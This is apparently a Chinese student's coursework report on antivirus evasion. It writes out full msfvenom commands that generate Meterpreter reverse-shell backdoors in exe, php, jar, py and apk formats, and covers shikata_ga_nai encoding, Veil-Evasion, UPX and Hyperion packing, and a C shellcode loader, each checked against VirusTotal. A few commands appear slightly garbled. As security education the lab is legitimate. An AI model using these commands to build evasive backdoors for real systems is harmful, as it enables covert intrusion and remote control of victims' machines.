-
实验内容
1.1 实践内容
正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧使用msfvenom生成jar、apk等其他文件
使用veil加壳工具
使用C+ shellcode进行编程
通过组合应用各种技术实现恶意代码免杀
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2问题回答
(1)杀软是如何检测出恶意代码的?
特征码检测:杀软会维护一个已知恶意软件的特征数据库。当新文件被扫描时,杀软会对比文件中的代码与特征数据库中的已知恶意代码特征,如果匹配,就能标记为恶意。
启发式分析:这种方法不依赖于已有的特征,而是通过分析程序的行为、结构和代码模式来判断其是否为恶意软件。启发式分析能发现新型或变种恶意软件。
行为监测:在程序运行时,杀软可以实时监控其行为。如果程序表现出典型的恶意行为(如修改系统文件、连接可疑的网络地址等),杀软就会发出警报。
(2)免杀是做什么?
免杀通常指的是一种技术或手段,旨在使恶意软件能够避开杀毒软件的检测。这种方法通常用于规避检测、加密和混淆、时延加载。
(3)免杀的基本方法有哪些?
规避检测:通过修改恶意代码,使其特征(例如文件哈希、代码结构等)与杀软数据库中的特征不匹配,从而避免被检测到。
加密和混淆:将恶意代码进行加密或混淆,使其在执行时无法被杀软识别。即使文件被扫描,杀软也可能无法解析其真实内容。
反沙箱技术:一些恶意软件会检测其运行环境,当发现自己在沙箱中运行时,可能会选择不执行其恶意行为,从而躲避被检测的风险。
时延加载:恶意代码可能会在某些条件触发后才加载,例如经过一定时间或在特定操作下,这样可以减少被即时检测的风险。
利用合法程序:恶意软件可能会伪装成合法程序或者通过合法程序的漏洞传播,降低被杀软检测的可能性。
2. 实验过程
2.1 任务一:正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msf编码器,并尝试使用msfvenom生成如jar之类的其他文件
2.1.1.1 熟悉VirusTotal的使用
此次实验主要使用的病毒扫描服为VirusTotal
VirusTotal是一个由谷歌旗下的Chronicle运营的免费在线服务,它提供了一站式的全面安全扫描和分析服务。用户可以通过VirusTotal检测URL、文件、IP地址和域名是否包含恶意软件、钓鱼网站以及其他安全威胁。
2.1.1.2 测试编码次数对免杀效果的影响
(1)编码一次测试结果
首先利用msf生成编码一次的后门文件,输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.230 LPORT=2304 -f exe > 20222304lyl.exe
如图:
随后将生成的文件传递给主机
如图:
发现效果和前面的后门文件大差不差,免杀效果一般
这次尝试对后门文件编码12次,再测试免杀效果,输入代码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.31.124 LPORT=2304 -f exe > 20222304lyl_1.exe
如图:
同样,将生成的文件上传给VT,测试效果
如图:
发现和编码一次的免杀效果基本没有区别,还是很意外的,可见编码次数对免杀效果影响并不大
2.1.1.3 使用msfvenom生成其他格式文件,测试免杀效果
2.1.1.3.1 生成.php文件
依旧使用msfvenom功能,输入代码:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 x> 20222304lylphp.php
如图:
检查免杀效果
如图:
发现php文件免杀效果还不错
2.1.1.3.2 生成.jar文件
输入代码:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f jar x > 20222304lyljar.jar
如图:
测试免杀效果
如图:
2.1.1.3.3 生成.py文件
输入代码:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f x > pyth_20222304.py
如图:
检查免杀效果
如图:
很完美的效果
2.1.1.3.4 生成.apk文件
输入代码:msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.31.124 LPORT=2304 -f x > apk_20222304.apk
如图:
再次检测免杀效果
如图:
同样很完美
由此可以看出,不同不同编程语言的payload对免杀效果是有一定影响的
2.1.2 使用veil工具
2.1.2.1 veil安装
首先检查是否有veil环境(一般没有),然后依次输入下面的命令进行安装
输入代码:apt-get install veil-evasion
还需要下载其他有关依赖和软件,这里先需要修改一个克隆地址,输入代码:cd /usr/share/veil/config vim setup.sh
如图:
然后在setup.sh文件中不断向下翻找,找到这一行,将里面git clone内容改掉,改成下面的样子,例如代码:sudo git clone https://gitee.com/spears/VeilDependencies.git
退出保存后再次输入veil,继续进行后续内容的安装,后续一直按默认安装即可
如图成功:
2.1.2.2 veil的使用
按照实验要求,我们选择文件免杀Evasion,输入代码:use evasion 之后输入:list
如图:
(1)用简单C文件
我们简单生成一个免杀文件,使用c/meterpreter/rev_tcp.py
然后IP和端口配置,输入代码:set LHOST 192.168.31.38
set LPORT 2304
options
如图:
输入:generate
如图:
然后生成文件,并且为文件输入名称:20222304lyl_veil.exe
如图:
将文件传到主机,检查免杀效果
如图:
效果很一般
(2)用.py文件
步骤和之前大差不差,这里除了payload选择需要换成 python/meterpreter/rev_tcp.py
如图:
端口、IP等配置和前面一样,这里不再赘述
如图:
传到主机,测试一下免杀效果
如图:
效果非常不错
2.1.3 使用加壳工具
2.1.3.1 压缩壳
输入代码:upx 20222304lyl_veil.exe -o 20222304veil_yasuo.exe
如图:
在拿到VT免杀测试
如图:
2.1.3.2 使用加密壳
将文件20222304lyl_veil.exe拷贝到hyperion目录下,
然后进入hyperion所在的目录,输入代码:wine hyperion.exe -v 20222304lyl_veil.exe 20222304_veil_jiami.exe
如图:
生成文件:
然后传到win主机测试免杀效果
如图:
效果不咋
2.1.4 使用C + shellcode编程
首先使用msf生成一段shellcode 输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.38 LPORT=2304 -f c
如图:
可以看到生成了一长传shllcode,将这一段buf 内容复制,然后将刚才复制的buf添加到文件里,并在后面添加以下代码
如图:
保存退出,然后将.c文件进行编译,生成.exe文件
i686-w64-mingw32-g++ 20222304lyl.c -o 20222304shellcode_3.exe
如图:
随后将.exe文件传到win主机,测试免杀效果
如图:
效果很差
2.1.5 启动杀软,查看整体免杀效果
如图:
2.2 任务二:通过组合应用各种技术实现恶意代码免杀
首先和签名c + shellcode 编译急眼。先生成一段 shellcode
输入代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.38 LPORT=2304 -f c
如图:
生成的shellcode如下,然后将这一段shllcode复制下来,在win主机打开CodeBlocks,新建一个.c项目,需要运行,具体代码如下
如图:
随后运行,可以得到输出的代码结果
如图:
随后再将输出得到的代码复制保留,在kali端再新建一个.c文件,然后在为生成的exe文件加一层压缩壳,生成文件ke_miansha20222304.exe
如图:
然后将其放到VT上测试免杀效果
如图:
试一试是否实现与杀软共存
如图:
很可惜失败了!!!!
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
在kali端进入msf控制台
如图:
然后再win端执行生成的文件ke_mianhsa20222304.exe,先后测试连接
看看有没有被检查出来
如图:
很可惜失败了!!!
3. 问题与解决方案
问题一:veil安装失败!!!
首先我的问题:我没有内存,我去我的内存不够
如图:
之后我在csdn上找扩展磁盘的方法,结果失败了,很难受,虚拟机一直黑屏,搞了好久都不能,之后我就选择重新安装kali,很破防才搞好veil
一般输入:/usr/share/veil/config/setup.sh --force --silent
问题二:在任务最后通过组合应用各种技术实现恶意代码免杀,但是我的杀软一直都可以检测到,在生成ke_miansha20222304.exe文件的时候,用cmd不能打开,报错“libgcc_s_dw2-1”找不到
如图:
后续询问同学上网安装文件“libgcc_s_dw2-1”,并且讲之前的.exe文件拖入“libgcc_s_dw2-1”文件夹中,解决问题
如图:
问题三:这个是解释上述过程中虚拟机IP地址变换的原因,因为我分了三次做,第一次在教室一个IP地址,第二次我20GB磁盘大小的kali一个IP地址,第三次我重新配置的60GB磁盘大小的kali一个IP地址
4. 学习感悟、思考等
完成这些实验后,我对恶意代码免杀技术有了更深入的了解。通过使用 Metasploit 编码器、Veil-Evasion 加壳工具以及自己编写 shellcode 的方式,我意识到了恶意代码免杀不仅仅是简单地绕过杀软的检测,更是一项需要综合考虑多种因素的技术挑战。我学会了如何使用编码器来对 shellcode 进行编码,以及如何使用 Veil-Evasion 工具进行加壳。这些工具和技术使得恶意代码可以在杀软的监测下更隐蔽地运行,增加了攻击者的成功几率。通过自己编写 shellcode 并将其嵌入到 C 语言程序中,我深刻体会到了恶意代码的危害性。即使是简单的一段 shellcode,也可以在不经意间控制目标系统,造成严重的安全威胁。最重要的是,这些实验让我意识到网络安全工作的重要性。在当今数字化的社会中,恶意代码的威胁越来越严重,而作为安全从业者,我们需要不断学习和研究,以及时发现并防范各种安全威胁。